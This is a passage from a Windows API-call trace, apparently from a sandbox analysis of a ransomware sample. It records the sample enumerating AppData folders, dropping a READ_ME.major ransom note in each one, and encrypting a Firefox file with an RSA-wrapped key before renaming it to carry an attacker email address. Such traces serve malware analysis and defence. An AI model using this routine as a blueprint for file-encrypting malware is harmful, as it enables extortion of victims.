dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0180.043] SetLastError (dwErrCode=0x12) [0180.043] GetLastError () returned 0x12 [0180.043] SetLastError (dwErrCode=0x12) [0180.043] GetLastError () returned 0x12 [0180.043] SetLastError (dwErrCode=0x12) [0180.043] FindNextFileW (in: hFindFile=0x58e5b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c3b374, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21c3b374, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c3b374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0180.043] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x21c3b374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e4b8 [0180.043] SetLastError (dwErrCode=0x12) [0180.043] GetLastError () returned 0x12 [0180.044] SetLastError (dwErrCode=0x12) [0180.044] GetLastError () returned 0x12 [0180.044] SetLastError (dwErrCode=0x12) [0180.044] FindNextFileW (in: hFindFile=0x58e4b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa9067e6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x21c3b374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0180.044] SetLastError (dwErrCode=0x12) [0180.044] GetLastError () returned 0x12 [0180.044] SetLastError (dwErrCode=0x12) [0180.044] GetLastError () returned 0x12 [0180.044] SetLastError (dwErrCode=0x12) [0180.044] FindNextFileW (in: hFindFile=0x58e4b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa92ca6c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfa92ca6c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdd9723cb, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="postSigningData", cAlternateFileName="POSTSI~1")) returned 1 [0180.044] SetLastError (dwErrCode=0x12) [0180.044] GetLastError () returned 0x12 [0180.044] SetLastError (dwErrCode=0x12) [0180.044] GetLastError () returned 0x12 [0180.044] SetLastError (dwErrCode=0x12) [0180.044] FindNextFileW (in: hFindFile=0x58e4b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Profiles", cAlternateFileName="")) returned 1 [0180.045] SetLastError (dwErrCode=0x12) [0180.045] GetLastError () returned 0x12 [0180.045] SetLastError (dwErrCode=0x12) [0180.045] GetLastError () returned 0x12 [0180.045] SetLastError (dwErrCode=0x12) [0180.045] SetLastError (dwErrCode=0x12) [0180.045] GetLastError () returned 0x12 [0180.045] SetLastError (dwErrCode=0x12) [0180.045] SetLastError (dwErrCode=0x12) [0180.045] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c [0180.046] WriteFile (in: hFile=0x82c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.047] CloseHandle (hObject=0x82c) returned 1 [0180.047] FindNextFileW (in: hFindFile=0x58e4b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c3b374, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21c3b374, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c3b374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0180.047] SetLastError (dwErrCode=0x0) [0180.047] GetLastError () returned 0x0 [0180.047] SetLastError (dwErrCode=0x0) [0180.048] GetLastError () returned 0x0 [0180.048] SetLastError (dwErrCode=0x0) [0180.048] FindNextFileW (in: hFindFile=0x58e4b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c3b374, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21c3b374, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c3b374, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0180.048] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0180.048] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData", dwFileAttributes=0x80) returned 1 [0180.049] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\postsigningdata"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x82c [0180.049] GetFileSizeEx (in: hFile=0x82c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=106) returned 1 [0180.049] ReadFile (in: hFile=0x82c, lpBuffer=0x5cdbc8, nNumberOfBytesToRead=0x6a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdbc8*, lpNumberOfBytesRead=0x2e3f9b4*=0x6a, lpOverlapped=0x0) returned 1 [0180.050] SetFilePointer (in: hFile=0x82c, lDistanceToMove=-106, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.050] WriteFile (in: hFile=0x82c, lpBuffer=0x5cdad8*, nNumberOfBytesToWrite=0x6a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5cdad8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6a, lpOverlapped=0x0) returned 1 [0180.051] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6a [0180.051] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0180.051] WriteFile (in: hFile=0x82c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0180.051] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0180.051] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0180.051] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0180.051] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8afame60YEW9umaYh8v1rE8dpVdT8maVTqyZoTwAwtaWWuydV4PXljNheyTWMbE/\nHMbIEMAd5RsF5cRR5SaiUu8TfCpMjogRhaaGFJbNEXvELIb3qMrk6Zigd6UEBMkN\ndkIlPspkjT3XLHNYwbqOZxrsgJH2r+s/4n+hYZ8zTxG3aafFWOaPbyBzZz2qjUPi\nQ1vmfcltIDqm+bwxWT3HBY78HznpIhg4NEODOP1pEQktoy3fJ/1nsWYPIw1BBXTe\ncSvm1YsMszwTLRiOdglsN8FeZNYkORVr4oNnX/Evx5r+TadKuwgRRPz3kPvqqrKW\nxzils3RrFJAaIyG2h3fUWw==\n", pcchString=0x2e3f9a8) returned 1 [0180.051] WriteFile (in: hFile=0x82c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0180.052] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0180.052] WriteFile (in: hFile=0x82c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0180.052] CloseHandle (hObject=0x82c) returned 1 [0180.052] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\postsigningdata"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\postSigningData.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\postsigningdata.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0180.232] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e5f8 [0180.232] SetLastError (dwErrCode=0x0) [0180.232] GetLastError () returned 0x0 [0180.232] SetLastError (dwErrCode=0x0) [0180.232] GetLastError () returned 0x0 [0180.232] SetLastError (dwErrCode=0x0) [0180.233] FindNextFileW (in: hFindFile=0x58e5f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0180.233] SetLastError (dwErrCode=0x0) [0180.233] GetLastError () returned 0x0 [0180.233] SetLastError (dwErrCode=0x0) [0180.233] GetLastError () returned 0x0 [0180.233] SetLastError (dwErrCode=0x0) [0180.233] FindNextFileW (in: hFindFile=0x58e5f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x190eac40, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x190eac40, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x190eac40, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="308046B0AF4A39CB", cAlternateFileName="308046~1")) returned 1 [0180.233] SetLastError (dwErrCode=0x0) [0180.233] GetLastError () returned 0x0 [0180.233] SetLastError (dwErrCode=0x0) [0180.233] GetLastError () returned 0x0 [0180.233] SetLastError (dwErrCode=0x0) [0180.233] SetLastError (dwErrCode=0x0) [0180.233] GetLastError () returned 0x0 [0180.233] SetLastError (dwErrCode=0x0) [0180.233] SetLastError (dwErrCode=0x0) [0180.233] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\updates\\308046B0AF4A39CB\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\updates\\308046b0af4a39cb\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x830 [0180.234] WriteFile (in: hFile=0x830, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.235] CloseHandle (hObject=0x830) returned 1 [0180.235] FindNextFileW (in: hFindFile=0x58e5f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c61b36, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21c61b36, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0180.235] SetLastError (dwErrCode=0x0) [0180.235] GetLastError () returned 0x0 [0180.235] SetLastError (dwErrCode=0x0) [0180.235] GetLastError () returned 0x0 [0180.235] SetLastError (dwErrCode=0x0) [0180.235] FindNextFileW (in: hFindFile=0x58e5f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c61b36, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21c61b36, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0180.236] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e6f8 [0180.236] SetLastError (dwErrCode=0x12) [0180.236] GetLastError () returned 0x12 [0180.236] SetLastError (dwErrCode=0x12) [0180.236] GetLastError () returned 0x12 [0180.236] SetLastError (dwErrCode=0x12) [0180.236] FindNextFileW (in: hFindFile=0x58e6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0180.236] SetLastError (dwErrCode=0x12) [0180.236] GetLastError () returned 0x12 [0180.236] SetLastError (dwErrCode=0x12) [0180.236] GetLastError () returned 0x12 [0180.236] SetLastError (dwErrCode=0x12) [0180.236] FindNextFileW (in: hFindFile=0x58e6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7a79bf59, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a79bf59, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a79bf59, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0180.236] SetLastError (dwErrCode=0x12) [0180.236] GetLastError () returned 0x12 [0180.236] SetLastError (dwErrCode=0x12) [0180.236] GetLastError () returned 0x12 [0180.236] SetLastError (dwErrCode=0x12) [0180.236] SetLastError (dwErrCode=0x12) [0180.236] GetLastError () returned 0x12 [0180.237] SetLastError (dwErrCode=0x12) [0180.237] SetLastError (dwErrCode=0x12) [0180.237] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0180.641] WriteFile (in: hFile=0x834, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.642] CloseHandle (hObject=0x834) returned 1 [0180.642] FindNextFileW (in: hFindFile=0x58e6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0180.642] SetLastError (dwErrCode=0x0) [0180.642] GetLastError () returned 0x0 [0180.642] SetLastError (dwErrCode=0x0) [0180.642] GetLastError () returned 0x0 [0180.642] SetLastError (dwErrCode=0x0) [0180.642] SetLastError (dwErrCode=0x0) [0180.642] GetLastError () returned 0x0 [0180.642] SetLastError (dwErrCode=0x0) [0180.642] SetLastError (dwErrCode=0x0) [0180.642] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0180.644] WriteFile (in: hFile=0x834, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.645] CloseHandle (hObject=0x834) returned 1 [0180.645] FindNextFileW (in: hFindFile=0x58e6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0180.645] SetLastError (dwErrCode=0x0) [0180.645] GetLastError () returned 0x0 [0180.645] SetLastError (dwErrCode=0x0) [0180.645] SetLastError (dwErrCode=0x0) [0180.645] SetLastError (dwErrCode=0x0) [0180.645] GetLastError () returned 0x0 [0180.645] SetLastError (dwErrCode=0x0) [0180.646] GetLastError () returned 0x0 [0180.646] SetLastError (dwErrCode=0x0) [0180.646] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0180.646] WriteFile (in: hFile=0x834, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.647] CloseHandle (hObject=0x834) returned 1 [0180.647] FindNextFileW (in: hFindFile=0x58e6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0180.647] SetLastError (dwErrCode=0x0) [0180.647] GetLastError () returned 0x0 [0180.647] SetLastError (dwErrCode=0x0) [0180.647] SetLastError (dwErrCode=0x0) [0180.647] SetLastError (dwErrCode=0x0) [0180.647] GetLastError () returned 0x0 [0180.647] SetLastError (dwErrCode=0x0) [0180.648] GetLastError () returned 0x0 [0180.648] SetLastError (dwErrCode=0x0) [0180.648] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0180.648] WriteFile (in: hFile=0x834, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.649] CloseHandle (hObject=0x834) returned 1 [0180.649] FindNextFileW (in: hFindFile=0x58e6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21c61b36, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21c61b36, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21c61b36, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0180.649] SetLastError (dwErrCode=0x0) [0180.649] GetLastError () returned 0x0 [0180.649] SetLastError (dwErrCode=0x0) [0180.649] SetLastError (dwErrCode=0x0) [0180.649] FindNextFileW (in: hFindFile=0x58e6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7a729855, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x7a729855, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0180.649] SetLastError (dwErrCode=0x0) [0180.649] GetLastError () returned 0x0 [0180.649] SetLastError (dwErrCode=0x0) [0180.650] SetLastError (dwErrCode=0x0) [0180.650] SetLastError (dwErrCode=0x0) [0180.650] GetLastError () returned 0x0 [0180.650] SetLastError (dwErrCode=0x0) [0180.650] GetLastError () returned 0x0 [0180.650] SetLastError (dwErrCode=0x0) [0180.650] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\1527c705-839a-4832-9118-54d4bd6a0c89_cw5n1h2txyewy\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x834 [0180.650] WriteFile (in: hFile=0x834, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0180.651] CloseHandle (hObject=0x834) returned 1 [0180.651] FindNextFileW (in: hFindFile=0x58e6f8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a729855, 